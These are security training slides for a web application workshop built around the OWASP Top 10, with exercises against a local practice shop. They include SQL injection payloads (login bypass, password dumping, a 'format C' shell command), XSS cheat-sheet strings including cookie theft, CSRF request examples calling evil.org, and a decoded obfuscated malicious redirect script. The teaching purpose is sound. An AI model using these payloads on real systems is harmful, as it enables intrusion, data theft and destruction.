Web Application Security


Published on

These are the slides to my 2-day "Web Application Security Training Workshop". The workshop is intended for all IT staff involved in web application development, e.g. software engineers, system analysts, quality engineers or application administrators.

The goals of the workshop are:
* Build security awareness for web applications
* Get to know attack methods of hackers
* Learn ways to discover security vulnerabilities
* Learn the basics of secure web development

Day one starts with a motivation of the topic and then covers the most severe vulnerabilities of web applications based on the OWASP Top 10 list. The attacks on those vulnerabilities are discussed and can be tried out in several examples.

Day two starts with a two hour hacking contest where each participant attacks the locally installed BodgeIt store and tries to get as many points on the score card as possible. Next the Secure Software Development Lifecycle is briefly discussed in order to prevent security flaws as early as possible.

/!\ Performing attacks on any website or server you do not own yourself is a crime in most countries!

Published in: Technology
  • Be the first to comment

No Downloads
Total Views
On Slideshare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide
  • Canonicalization = Standardization, Normalization = Bringing data into its most simple unique form
    Sanitization = Remove personal-identifiable information from data / Remove malicious data from user input
  • Web Application Security

    1. 1. V3.2.1 (11.03.2015) Björn Kimminich https://twitter.com/bkimminich https://linkedin.com/in/bkimminich https://google.com/+BjörnKimminich http://slideshare.net/BjrnKimminich
    2. 2. 2007+ Software Architect & Security Officer at Kuehne+Nagel Corporate Web Development 2011+ Part-time lector for Java & Agile Software Develoment at private UAS Nordakademie 2012+ OWASP Member & QA Developer OWASP Zed Attack Proxy (ZAP)
    3. 3. Build security awareness for web applications Get to know attack methods of hackers Learn ways to discover security vulnerabilities Learn the basics of secure web development
    4. 4. Schedule •2x8 hours •Breaks on demand •Enough time for excercises Behavior •No daily work during workshop •Ask questions immediately •Open discussion encouraged
    5. 5. Motivation Open Web Application Security Project (OWASP) Top 10 Web Application Security Risks (A1-A7)
    6. 6. Top 10 Web Application Security Risks (A8-A10) Secure Software Development Lifecycle OWASP Zed Attack Proxy Quiz & Wrap-Up
    7. 7. Source: http://www.ups.com/media/news/en/fraud_email_examples.pdf
    8. 8. = Phishing attacks on senior executives and other high profile targets within businesses
    9. 9. Source: http://news.yahoo.com/lightbox/burger-kings-twitter-account-hacked-photo-180655645--abc-news-tech.html http://www.guardian.co.uk/technology/2013/feb/18/burger-king-twitter-account-hack
    10. 10. Source: http://praetorianprefect.com/archives/category/app-sec/web-site-defacement/
    11. 11. Source: http://praetorianprefect.com/archives/category/app-sec/web-site-defacement/
    12. 12. Source: http://news.cnet.com/Hackers-deface-SCO-site/2100-7344_3-5469486.html
    13. 13. Source: http://www.informationweek.com/security/attacks/sony-hacked-again-1-million-passwords-ex/229900111
    14. 14. Source: http://www.pcworld.com/article/2157604/ebay-users-change-your-passwords-the-auction-site-was-breached.html
    15. 15. Analyze the behavior of the following code taken from an email attachment <!-- C/C v0964 --> <script> function c(){};t=false;kM="kM";c.prototype = {v : function() {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9" .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var n=false;}};var nF=false;this.eF=false;var x=new c(); l="l";gO="";x.v();this.kN=false; </script>
    16. 16. It executes the following JavaScript: The rest is just there for obfuscation <!-- C/C v0964 --> <script> function c(){};t=false;kM="kM";c.prototype = {v : function() {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9" .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var n=false;}};var nF=false;this.eF=false;var x=new c(); l="l";gO="";x.v();this.kN=false; </script> document[„location“]=http://enjoyyourhaircut.com/5.html;
    17. 17. Web Applications have become the #1 target 75% of Attacks target the Application Layer (Gartner) Most Web Applications are vulnerable 95% of Web Applications have some sort of vulnerability (Imperva) 78% of easily exploitable weaknesses occur in Web Applications (Symantec) 67% of websites used to distribute malware are legitimate, compromised websites (Symantec) Source: https://www.owasp.org/index.php/Business_Justification_for_Application_Security_Assessment
    18. 18. Source: http://www.incapsula.com/the-incapsula-blog/item/397-top-security-threats-and-attackers-by-country
    19. 19. Idealistic young Hacktivists will continue to attack Big Data Companies are taking control of users while profiting from user information Attackers will make more use of Mobile Exploits for hacking into corporate networks Insiders (Employees, Consultants, Business Partners) can always pose security risks Foreign Governments will start to target clouds and more types of businesses with APTs Source: http://www.notebookreview.com/default.asp?newsID=6310
    20. 20. Group with both the capability and the intent to persistently and effectively target a specific entity Example: The Stuxnet Creators can be considered an APT to the Iranian Government Source: http://en.wikipedia.org/wiki/Advanced_persistent_threat
    21. 21. Source: http://noramintel.com/stuxnet-virus-opens-new-era-of-cyber-war/
    22. 22. Google‘s Android Backup Functionality Helps you to migrate all your data and apps to a new device quite easily It also used to store passwords to all WLANs you ever used on your device… …on Google servers in the US (!) …unencrypted (!!!) Source: https://code.google.com/p/android/issues/detail?id=57560
    23. 23. Open Web Application Security Project
    24. 24. Open Web Application Security Project Open community Non-profit organization Core purpose Be the thriving global community that drives visibility and evolution in the safety and security of the world’s software https://www.owasp.org Source: https://www.owasp.org
    25. 25. Free & Open Governed by rough consensus & running code Abide by a code of ethics Not-for-profit Not driven by commercial interests Risk based approach Source: https://www.owasp.org
    26. 26. Source: https://www.owasp.org
    27. 27. Enterprise Security API (ESAPI) Collection of all the security methods that a developer needs to build a secure web application Zed Attack Proxy (ZAP) Easy to use integrated penetration testing tool for finding vulnerabilities in web applications Security Shepherd CBT application for web and mobile application security awareness and education Development Guide Massive document covering all aspects of web application and web service security Source: https://www.owasp.org
    28. 28. Top 10 Web Application Security Risks
    29. 29. A1: Injection A2: Broken Authentication and Session Management A3: Cross-Site Scripting (XSS) A4: Insecure Direct Object References A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Missing Function Level Action Control A8: Cross Site Request Forgery (CSRF) A9: Using Known Vulnerable Components A10: Unvalidated Redirects and Forwards Ex-A6/2007: Information Leakage and Improper Error Handling
    30. 30. Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? Easy Widespread Easy Severe ?Average Common Average Moderate Difficult Uncommon Difficult Minor 1 2 3 Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    31. 31. Weighted Risk Rating = Probability * Impact Example: Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? Easy Widespread Easy Severe ?Average Common Average Moderate Difficult Uncommon Difficult Minor 1 1 2 2 (1+2+2)/3 = 1.66 1.66*1 = 1.66 Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    32. 32. Source: http://cwe.mitre.org/top25 [1] Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [2] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') [3] Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [4] Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [5] Missing Authentication for Critical Function [6] Missing Authorization [7] Use of Hard-coded Credentials [8] Missing Encryption of Sensitive Data [9] Unrestricted Upload of File with Dangerous Type [10] Reliance on Untrusted Inputs in a Security Decision [11] Execution with Unnecessary Privileges [12] Cross-Site Request Forgery (CSRF) [13] Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') [14] Download of Code Without Integrity Check [15] Incorrect Authorization [16] Inclusion of Functionality from Untrusted Control Sphere [17] Incorrect Permission Assignment for Critical Resource [18] Use of Potentially Dangerous Function [19] Use of a Broken or Risky Cryptographic Algorithm [20] Incorrect Calculation of Buffer Size [21] Improper Restriction of Excessive Authentication Attempts [22] URL Redirection to Untrusted Site ('Open Redirect') [23] Uncontrolled Format String [24] Integer Overflow or Wraparound [25] Use of a One-Way Hash without a Salt
    33. 33. Both are like different sides of the same coin PCI DSS points to both as industry best practices Optimal: Be familiar with both! OWASP Top 10 CWE/SANS Top 25 Source: http://www.docstoc.com/docs/115032367/2010-CWESANS-Top-25-with-OWASP-Top-10-and-PCI-DSS-V2-Mapping
    34. 34. Use only a local instance for the exercises! Do not attack the deployed application on Heroku (https://juice-shop.herokuapp.com)
    35. 35. 1. Install node.js from http://nodejs.org 2. Install the application using either of Fork: https://github.com/bkimminich/juice-shop/fork Clone: git clone https://github.com/bkimminich/juice-shop.git Unzip: https://github.com/bkimminich/juice-shop/releases/latest 3. Run npm install 4. Run npm start 5. Browse to http://localhost:3000
    36. 36. Do not perform any attacks on servers, networks and applications… …you do not own and operate yourself …or have the owners permission to pentest
    37. 37. Prevalence Widespread Impact Minor
    38. 38. Applications can unintentionally leak information about their configuration or internal workings, or violate privacy internal state via how long they take to process certain operations or via different responses to differing inputs information about their internal state through detailed or debug error messages This information can be leveraged to launch or even automate more powerful attacks Source: https://www.owasp.org
    39. 39. Implementation Details Server (OS, Version, …) Programming Language (Language, Version, VM-Vendor, …) Database (Oracle, mySQL, …) and details about it (Version, Schema Names, Table Names, Column Names, …) Names and versions of used 3rd party libraries Other useful information Stacktraces Debugging Information SQL Statements Passwords … Source: https://www.owasp.org
    40. 40. vs.
    41. 41. vs. while (noSuchUserError) { // try next user with static password login(user, „?“); } while (wrongPasswordError) { // use existing user and try next password login(„bkimminich“, password); } while (loginFailedError) { // try next user while (loginFailedError) { // try next password login(user, password); } }
    42. 42. Browse to http://localhost:3000 Task 1: Find the carefully hidden „Score Board“ page Task 2: Try to provoke some error messages What information – if any – is leaked on those?
    43. 43. Common approach to exception handling Disable or limit detailed error messages Ensure that secure paths that have multiple outcomes return similar or identical error messages in roughly the same time Create a default error handler which returns an appropriately sanitized error message for most users in production for all error paths
    44. 44. AttackVector Easy Prevalence Common Detectability Average Impact Severe
    45. 45. Injection means… …tricking an application into including unintended commands in the data sent to an interpreter Interpreters… …take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, Hibernate, etc… Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    46. 46. SELECT user_id FROM user_data WHERE user_name = 'bkimminich' AND user_password = '680e89[…]75ab'; // … String query = "SELECT user_id FROM user_data WHERE " + user_name = '" + req.getParameter("user") + "' AND user_password = '" + req.getParameter("password") +"'"; // …
    47. 47. SELECT user_id FROM user_data WHERE user_name = '' or 1=1 --' AND user_password = '1234'; // … String query = "SELECT user_id FROM user_data WHERE " + user_name = '" + req.getParameter("user") + "' AND user_password = '" + req.getParameter("password") +"'"; // …
    48. 48. Typical Impact Spy out or manipulate data Manipulate the DB server or access underlying OS Bypass authentication or gain admin privileges Correlation with Information Leakage Attackers use error messages or codes to verify the success of an attack and gather information about type and structure of the database Blind SQL Injection If error message don’t help the attacker he can still “take a stab in the dark” The normal application behavior (e.g. response time) might give away clues on successful/failed Injection attempts Source: https://www.owasp.org
    49. 49. Bypass Authentication admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1 ') or ('1'='1 Source: http://ha.ckers.org/sqlinjection
    50. 50. Spy out Data ' UNION SELECT login, password, 'x' FROM user-- 1 UNION SELECT 1,1,1 FROM user-- Manipulate Data '; UPDATE user SET type = 'admin' WHERE id = 23;-- Manipulate the DB Server ' ;GO EXEC cmdshell('format C') -- Cheat Sheet: http://ha.ckers.org/sqlinjection Source: http://ha.ckers.org/sqlinjection
    51. 51. Browse to http://localhost:3000 Task 1: Log in as an existing user Do not use password guessing Do not use brute forcing Task 2: Read all user account ids, emails and passwords from the database
    52. 52. Plain SQL via JDBC HQL via Hibernate String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName"); try { Statement statement = connection.createStatement(…); ResultSet results = statement.executeQuery(query); } Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");
    53. 53. Avoid the Interpreter at all if possible Use an interface that supports bind variables java.sql.PreparedStatement Hibernate Parameter Binding … Enforce Least Privileges for the application‘s DB user Perform White List Input Validation on all user supplied input Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    54. 54. White List = Positive Security Rule „Block what is not explicitly allowed!“ Example: Allow only [a-z], [A-Z] and [0-9] Define once, (almost) never worry again Can be quite effortsome to define for a whole application Black List = Negative Security Rule „Allow what is not explicitly blocked!“ Example vs. SQL Injection: Block [-#';] Example vs. HTML Injection: Block [<>";'script] Can be bypassed by masking attack patterns Must be updated for new attack patterns
    55. 55. Plain SQL via JDBC HQL via Hibernate String customerName = request.getParameter("customerName"); assert(CustomerValidator.doesExist(customerName); String query = "SELECT account_balance FROM user_data WHERE user_name = ?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, customerName); ResultSet results = pstmt.executeQuery(); Query safeHQLQuery = session.createQuery("from Inventory where productID=:productId"); safeHQLQuery.setParameter("productId", userSuppliedParameter);
    56. 56. Intention: Provide cheap means of DB/data maintenance to admin users Protection: URL is hidden Never develop like this!
    57. 57. Source: http://xkcd.com/327/
    58. 58. AttackVector Average Prevalence Widespread Detectability Average Impact Severe
    59. 59. Source: http://www.troyhunt.com/2013/09/web-security-dark-matter-developers-and.html
    60. 60. HTTP is a “stateless” protocol Credentials have to be passed with every request Should use SSL for everything requiring authentication Session Management flaws SESSION ID is just as good as credentials to an attacker SESSION ID is typically exposed on the network, in browser, in logs, … Beware the side-doors Change my password, remember my password, forgot my password, secret question, logout, email address, credentials stored in plain text in database, etc… Typical Impact User accounts compromised or user sessions hijacked Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    61. 61. h5kek4z9ha1rtrf gj75l3k7hb15rtr l8l65k45hc1rw7i p05jrj53hd1i039 5urltda1he1bn46 j5le97h9hf2yq3h po953ld7hg2awi9 t6zhj2n5hh27bn0 iu345r53hi2aw34 o0z43411hj2njkl 9por42o9hk3dfrz … • 9,7,5,3,1,9,7,5,3,1,9… • h,h,h,h,h,h,h,h,h,h,h,… • a,b,c,d,e,f,g,h,i,j,k,… • 1,1,1,1,1,2,2,2,2,2,3,… Pattern
    62. 62. Authentication should be simple, centralized and standardized! Use standard session ID of your container Protect credentials and session ID with SSL/TLS Keep your SSL certificate safe Automatic logout of inactive sessions Never start a login process from an unencrypted page Session IDs and credentials don’t belong into logfiles Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    63. 63. Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx Rely on single authentication mechanism with appropriate strength and number of factors Use strong supplemental authentication mechanisms Challenge-Response Limited time passwords Check old password on password change Send confirmation request to old email address on email address change
    64. 64. Minimum length of 12 to 14 characters if permitted Generating passwords randomly where feasible Avoiding passwords based on repetition, dictionary words, letter or number sequences, usernames, relative or pet names, romantic links (current or past), or biographical information (e.g., ID numbers, ancestors' names or dates). Including numbers, and symbols in passwords if allowed by the system If the system recognizes case as significant, using capital and lower-case letters Avoiding using the same password for multiple sites or purposes Avoid using something that the public or workmates know you strongly like or dislike Source: http://en.wikipedia.org/wiki/Password_strength
    65. 65. Automated tests of password strength are problematic Any network based checking necessarily involves submitting one's password to a purpose declared system somewhere The relevant network traffic is easily identifiable as passwords saving much effort for the attacker Passwords which are vulnerable to social engineering and guessing attacks cannot be properly checked automatically Source: http://en.wikipedia.org/wiki/Password_strength
    66. 66. 12345 abcdefg abcdefg12345 abcd1234!? laura21052005 ingrid2004-12-17 Source: http://howsecureismypassword.net/ Instantly Crackable Instantly Crackable PC would take ~37 years to crack PC would take ~22 years to crack PC would take ~1351 years to crack PC would take 16 billion years to crack + some creative trial & error + some research on me + some social engineering ALL those password cracked rather easily
    67. 67. Oldschool Paper TAN List Protect your account via RSA-Token or Smartphone App TANs and dedicated confirmation of suspicious payments via text message Computer won‘t boot unless Security USB- Device is plugged in Facial Recognition via Webcam for unlocking computer Facial Recognition via Webcam for unlocking computer
    68. 68. Browse to http://localhost:3000 Task 1: Log in with the credentials of the admin user without previously changing them Task 2: Change an existing users password
    69. 69. AttackVector Average Prevalence Very Widespread Detectability Easy Impact Moderate
    70. 70. Attacker sends malicious code to an innocent user’s browser Malicious code might be… …reflected from web input (form or hidden field, URL, etc…) …stored in database …sent directly into rich JavaScript client Virtually every web application has this problem Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    71. 71. Steal user’s session Steal sensitive data Rewrite web page Redirect user to phishing or malware site Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    72. 72. Source: http://www.h-online.com/security/features/Web-application-security-747201.html ServerBrowser Database Web Application Bug! URL HTML Victim Request Website Server Response
    73. 73. Source: http://www.h-online.com/security/features/Web-application-security-747201.html ServerBrowser Database Web Application Bug! Website Server Response HTML URL URL Subsequent Victim Request
    74. 74. Source: http://www.h-online.com/security/features/Web-application-security-747201.html ServerBrowser Database Web Application URL HTML Script Code Bug! Website Script Code Server Response Bug! DOM Access
    75. 75. Simple Patterns <SCRIPT>javascript:alert('XSS');</SCRIPT> <IMG SRC=javascript:alert('XSS')> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Masked / Evasive Patterns <IMG SRC=javascript:alert(&quot;XSS&quot;)> '';!--"<XSS>=&{()} <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav ascript:alert('XSS');"> Source: http://ha.ckers.org/xss.html
    76. 76. Masked / Evasive Patterns (continued) <DIV STYLE="background- image:00750072006C0028'006a006100760061 007300630072006900700074003a0061006c00 65007200740028.10270058.1053005300270029' 0029"> <b onmouseover=alert('Wufff!')>click me!</b> <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> … Cheat Sheet: http://ha.ckers.org/xss.htmlSource: http://ha.ckers.org/xss.html
    77. 77. Client Side Validation is always insecure! Install Tampering Plugin e.g. Tamper Data (Firefox) e.g. Request Maker (Chrome) You can now stop all outgoing HTTP requests in your browser …and tamper the contained headers, POST data and passed parameters …after Client Side Validation took place …but before they are actually submitted to the server
    78. 78. Browse to http://localhost:3000 Task 1: Reflect an XSS attack back at the user Task 2: Persist an XSS attack in the DB Visit the attacked page afterwards to test the attack
    79. 79. Scriptlet in Java Server Page (JSP) <%String searchCriteria = request.getParameter("searchValue");%> <%-- Later on the same or subsequent JSP... --> Search results for <b><%=searchCriteria%></b>: ...
    80. 80. Eliminate XSS Don‘t include user supplied input in your output! Defend against XSS Output Encode all user supplied input OWASP Enterprise Security API For GWT: com.google.gwt.safehtml.shared.SafeHtml Perform White List Input Validation on user input Use an HTML Sanitizer for larger user supplied HTML chunks OWASP Java HTML Sanitizer Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    81. 81. Encoding with Struts Bean Taglib Encoding with OWASP Enterprise Security API ... Search results for <b><bean:write name='searchCriteria'/></b>: ... ... <easpi:encodeForHtml><%=searchCriteria></esapi:encodeForHtml> ...
    82. 82. Presentation User Interface Business Web Service Database File SystemUser IntegrationSet Character Set Encode For HTML Global Validate Canonicalize Specific Validate Sanitize Canonicalize Validate Source: http://code.google.com/p/owasp-esapi-java/downloads/detail?name=OWASP%20ESAPI.ppt
    83. 83. Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx HTML Style Property Values (e.g., .pdiv a:hover {color: red; text-decoration: underline} ) JavaScript Data (e.g., <script> some javascript </script> ) HTML Attribute Values (e.g., <input name='person' type='TEXT' value='defaultValue'> ) HTML Element Content (e.g., <div> some text to display </div> ) URI Attribute Values (e.g., <a href="javascript:toggle('lesson')" ) #4: All non-alphanumeric < 256  HH ESAPI: encodeForCSS() #3: All non-alphanumeric < 256  xHH ESAPI: encodeForJavaScript() #1: ( &, <, >, " )  &entity; ( ', / )  &#xHH; ESAPI: encodeForHTML() #2: All non-alphanumeric < 256  &#xHH ESAPI: encodeForHTMLAttribute() #5: All non-alphanumeric < 256  %HH ESAPI: encodeForURL()
    84. 84. Using a simple prepackaged policy Defining a customized policy private String sanitizeHtml(String html) { PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS) .and(Sanitizers.LINKS); return policy.sanitize(html); } private static final PolicyFactory BASIC_FORMATTING_WITH_LINKS_POLICY = new HtmlPolicyBuilder() .allowCommonInlineFormattingElements().allowCommonBlockElements() .allowAttributes("face", "color", "size", "style", "align").onElements("font") .allowAttributes("style").onElements("div", "span").allowElements("a") .allowAttributes("href").onElements("a").allowStandardUrlProtocols() .requireRelNofollowOnLinks().toFactory();
    85. 85. AttackVector Easy Prevalence Common Detectability Easy Impact Moderate
    86. 86. How do you protect access to your data? This is part of enforcing proper “Authorization” along with A7 – Failure to Restrict URL Access Common mistakes Only listing the ‘authorized’ objects for the current user Hiding the object references in hidden fields… … and then not enforcing these restrictions on server side (=Presentation layer access control) Attacker simply tampers with parameter value Typical Impact Users are able to access unauthorized files or data Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    87. 87. Checking online how you did in an exam http://universi.ty/marks?id=i99a19 Checking how your fellow students did http://universi.ty/marks?id=i99a01 http://universi.ty/marks?id=i99a02 … http://universi.ty/marks?id=i99a20 Checking the distribution among class http://universi.ty/marks?id=i99
    88. 88. Browse to http://localhost:3000 Task 1: Access another users basket
    89. 89. Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx Eliminate the Direct Object References Replace with temporary mapping value e.g. with ESAPI AccessReferenceMap Validate the Direct Object Reference Verify parameter value format Verify user authorization to access target object Query Constraints work great! (Data Access Restriction) Verify the requested mode of access is allowed to the target object (read, write, delete, …)
    90. 90. Maps internal object references to indirect references that are safe to disclose publicly Prevents A4 Insecure Direct Object Reference Side Benefit of Random Reference Maps if used consequently and on per-user basis Makes guessing valid references impossible Prevents A5 Cross Site Request Forgery Source: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html http://myapp?file=report4711.xls http://myapp?file=8jK65l http://myapp?file=report4712.xls http://myapp?file=T5d8ui Random Access Reference Map report4711.xls report4712.xls
    91. 91. Source: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html Set fileSet = new HashSet(); fileSet.addAll(...); // Add direct references, e.g. Files AccessReferenceMap map = new RandomAccessReferenceMap(fileSet); String indirectRef = map.getIndirectReference(file1); String href = "http://myapp?file=" + indirectRef); // ... Somewhere else in the code String indirectRef = request.getParameter("file"); File file = (File)map.getDirectReference(indirectRef);
    92. 92. AttackVector Easy Prevalence Common Detectability Easy Impact Moderate
    93. 93. Web applications rely on a secure foundation Everywhere from the OS up through the App Server Don’t forget all the libraries you are using! Is your source code a secret? Think of all the places your source code goes Security should not require secret source code Do you change all credentials regularly in your production environment? Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    94. 94. Install backdoor through missing OS or server patch XSS flaw exploits due to missing application framework patches Unauthorized access to default accounts, application functionality or data, or unused but accessible functionality due to poor server configuration Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    95. 95. Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx Hardened OS Web Server App Server Framework App Configuration Custom Code Accounts Finance Administration Transactions Communication KnowledgeMgmt E-Commerce Bus.Functions Test Servers QA Servers Source Control Development Database Insider
    96. 96. Browse to http://localhost:3000 Task 1: Access the administration section of the store Task 2: Get rid of all ***** rated Feedback
    97. 97. Verify your system’s configuration management Secure configuration “hardening” guideline Automation is really useful here Must cover entire platform and application Keep up with patches for all components This includes software libraries, not just OS and Servers! Analyze security effects of changes Deactivate unnecessary stuff Ports, Services, Accounts, Sites, … Verify the implementation Scanning finds generic configuration and missing patch problems Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    98. 98. AttackVector Difficult Prevalence Uncommon Detectability Average Impact Severe
    99. 99. Storing sensitive data insecurely Failure to identify all sensitive data Failure to identify all the places that this sensitive data gets sent or stored On the web, to business partners, internal communication Databases, files, directories, log files, backups, etc. Failure to properly protect this data in every location Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    100. 100. Typical Impact Attackers access or modify confidential or private information (e.g credit cards, health care records, financial data, …) Attackers extract secrets to use in additional attacks Company embarrassment, customer dissatisfaction, and loss of trust Expense of cleaning up the incident, such as forensics, sending apology letters, reissuing thousands of credit cards, providing identity theft insurance Business gets sued and/or fined Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    101. 101. Sensitive Data is not encrypted Using self-made crypto algorithms Unsafe usage of safe crypto algorithms Store Keys and Passwords in Source Code Store Keys/Certificates in unsafe location Continued usage of weak crypto algorithms e.g. MD5, SHA-1, RC3, RC4
    102. 102. Browse to http://localhost:3000 Task: Place an order using a forged coupon code that gives you at least 80% discount
    103. 103. Verify your architecture Identify all sensitive data Identify all the places that data is stored Ensure threat model accounts for possible attacks Use encryption to counter the threats, don’t just ‘encrypt’ the data Protect with appropriate mechanisms File encryption, database encryption, data element encryption Use TLS on all connections with sensitive data Use the mechanisms correctly Use standard strong algorithms e.g. AES, RSA, SHA-256 Generate, distribute, and protect keys properly Be prepared for key change Verify the implementationSource: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    104. 104. Be especially careful in unknown Networks WLAN Hotspots, Internet Cafés, … Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    105. 105. AttackVector Easy Prevalence Common Detectability Average Impact Moderate
    106. 106. How do you protect access to functions? This is part of enforcing proper “Authorization” along with A4 – Insecure Direct Object References Common Mistakes Displaying only authorized links and menu choices Attacker simply forges direct access to ‘unauthorized’ pages Typical Impact Attackers invoke functions and services they’re not authorized for Access other user’s accounts and data Perform privileged actions Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    107. 107. Browse to http://localhost:3000 Task 1: Place an order that has a negative total Task 2: Access some files that were not meant for you to see Task 3: Find the hidden „easter egg“ Includes „A6 – Sensitive Data Exposure“ sub- exercise!
    108. 108. Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types config files log files source files … Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    109. 109. See you all tomorrow!
    110. 110. Björn Kimminich https://twitter.com/bkimminich https://linkedin.com/in/bkimminich https://google.com/+BjörnKimminich http://slideshare.net/BjrnKimminich
    111. 111. Top 10 Web Application Security Risks (A8-A10) Secure Software Development Lifecycle OWASP Zed Attack Proxy Quiz & Wrap-Up
    112. 112. AttackVector Average Prevalence Common Detectability Easy Impact Moderate
    113. 113. An attack where the victim’s browser is tricked into issuing a command to a vulnerable web application Vulnerability is caused by browsers automatically including user authentication data with each request Session Cookie Basic Authentication Header IP Address Client Side SSL Certificates Windows domain credentials Typical Impact Initiate transactions transfer funds, logout user, close account, … Access sensitive data Change account details Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    114. 114. Web Browsers include most credentials with each request… …even for requests caused by a form, script or image on another site! All sites relying solely on automatic credentials are vulnerable! Sites with XSS vulnerabilities can be abused for attacking sites with CSRF vulnerabilities Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    115. 115. bank.com Web App Browser Bug! evil.org Web App LoginRequest GET / HTTP/1.1 Host: www.evil.org Response HTTP/1.1 200 OK ... <html> ... <img src=“http://bank.com/transfer ?to=hacker&amount=1000$“/> ... </html> CSRF-Attack GET/transfer?to=hacker &amount=1000$ HTTP/1.1 Host: bank.com
    116. 116. Intranet Firewall Web App Browser Bug! evil.org Web App LoginRequest GET / HTTP/1.1 Host: www.evil.org Response HTTP/1.1 200 OK ... <html> ... <img src=“ ?setAccessMode=remote&resetPassword“/> ... </html> CSRF-Attack GET/admin/setAccessMode =remote&resetPassword HTTP/1.1 Host:
    117. 117. Add a secret, not automatically submitted, token to all sensitive requests This makes it impossible for the attacker to spoof the request (unless there is an XSS hole in your application) Tokens should be cryptographically strong or random Options Store a single token in the session and add it to all forms and links (e.g. Hidden Field, Single Use URL, Form Token) Beware exposing the token in a referer header Can use a unique token for each function (e.g. hash of function name, session id, and a secret Can require secondary authentication for sensitive functions (e.g. eTrade) Make sure your application has no XSS holes which could be exploited to attack other applications (or itself) Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
    118. 118. What shenanigans might our troll friend have in mind with any unwelcome forum posts he encounters? [img]http://forum.com/logout.do[/img]
    119. 119. Browse to http://localhost:3000 Task 1: Craft an CSRF attack by using an existing XSS hole Task 2: Trick user Bender into changing his password to slurmCl4ssic
